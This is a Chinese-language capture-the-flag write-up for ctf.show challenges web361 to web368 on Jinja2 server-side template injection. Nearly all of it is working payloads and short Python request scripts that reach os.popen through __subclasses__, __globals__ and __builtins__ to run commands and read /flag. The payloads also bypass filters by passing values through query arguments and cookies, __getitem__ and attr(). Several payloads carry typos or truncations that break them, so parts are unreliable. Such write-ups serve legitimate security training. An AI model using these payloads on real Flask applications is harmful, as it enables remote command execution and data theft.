web361
- name是参数
- 求出所有子类
?name={{"".__class__.__base__.__subclasses__()}}
- 利用脚本找出,包含os字段的类
import requests
for i in range(1,200):
url = 'http://ce0db590-b721-44db-a781-5af191cb0678.challenge.ctf.show:8080/?name={{"".__class__.__base__.__subclasses__()[%s]}}' % i
s = requests.get(url)
if 'os' in s.text:
print(url+"\n")
print(s.text)
- 对类进行初始化对象,引用方法
{{''.__class__.__base__.__sunclasses__()[132].__globals__['popen']("dir /").read()}} //调用os类中的popen函数。查看根目录
- 打开
flag
文件
{{%27%27.__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27]("tac%20/flag").read()}}
web362
- 不能用之前的方式跑出包含os类的子类
- 先随便写一个类。初始化为对象,找到他的全局变量
name={{x.__init__.__globals__}}
- 官方文档对
__globals__
的说明
所以__globals__
也包括程序内部导入的模块
- 调用默认模块,并执行eval函数,导入
os
模块执行popen
函数
name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("dir /").read()')}}
name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("tac /flag").read()')}}
web363
- 过滤了
__builtins__
,
采用request
获得参数request.args.x1
,request.args.x2
name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__("os").popen("tac /flag").read()
web364
- 通过
request.cookie.x1
获得参数
name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
cookie:
x1 : __builtins
x2 : __import__("os").popen("tac /flag").read()
web365
- 过滤
[]
通过__getitem__()
name={{x.__init__.globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie:
x1 : __builtins__
x2 : __import__("os").popen("tac /flag").read()
web367
?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
cookie :
x1 : __init__
x2 : __globals__
x3 : __getitem__
x4 : __builtins__
x5 : import('os').popen('dir /').read()
web368
- 过滤了
eval
,print
替换
import requests
url = 'http://7ec3c466-1001-4277-a379-6a624e57b034.challenge.ctf.show:8080/?name={%set a=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(a.open(request.cookies.x5).read())%}'
header = {
'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''
}
s = requests.get(url,headers=header)
print(s.text)